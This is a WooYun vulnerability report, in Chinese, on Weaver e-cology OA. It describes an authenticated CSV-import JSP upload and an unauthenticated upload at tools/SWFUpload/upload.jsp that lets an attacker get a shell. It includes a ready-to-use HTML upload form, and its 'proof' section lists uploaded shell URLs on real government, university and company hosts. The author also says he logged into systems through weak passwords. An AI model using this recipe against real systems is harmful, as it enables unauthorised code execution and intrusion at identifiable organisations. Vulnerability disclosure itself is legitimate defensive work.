WooYun.org

继续 e-cology ...
WooYun: 泛微某系统通用型SQL注入(无需登录)
无奈走了小厂商流程...￣□￣｜｜
--------------
通过之前的SQL注入，可轻易的获取登录帐号。
测试过程中，找了两个存在弱口令的系统直接登录（并未跑取数据）。
发现漏洞如下：①登录状态下的文件上传②无需登录直接getshell
--------------
① 登录状态下的文件上传导致任意代码执行漏洞
漏洞模块为：我的邮件 -- 联系人 -- 导入 -- 以逗号为分隔符的CVS文件
漏洞描述：对于用户上传的文件格式未进行限制且并未重命名文件名，可导入jsp文件。通过查看数据包，得到存储的路径为：webroot/email/csv/ 。最终得到的文件路径为：http://www.xxoo.com/email/csv/上传的文件名.jsp

漏洞证明：
http://oa.nws.gov.cn/email/csv/wooyun.jsp

http://oaf.yitoa.com:6688/email/csv/wooyun.jsp

② 无需登录直接getshell
在程序目录中翻了又翻，发现 tools/SWFUpload/upload.jsp ，并未验证当前用户是否为登录状态，提交文件，可直接写入根目录下。最终得到的文件访问路径为：http://www.xxoo.com/null上传的文件名.jsp
本地构造提交表单

<form method='post' action='http://www.xxoo.com/tools/SWFUpload/upload.jsp'  enctype="multipart/form-data" > 
<input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/>
<button type=submit value="getshell">getshell</button> </form>

漏洞证明：
http://220.248.243.186:8081/nullwooyun.jsp

http://oa.hnnc.net:82/nullwooyun.jsp

http://oa.yangtzeu.edu.cn/nullwooyun.jsp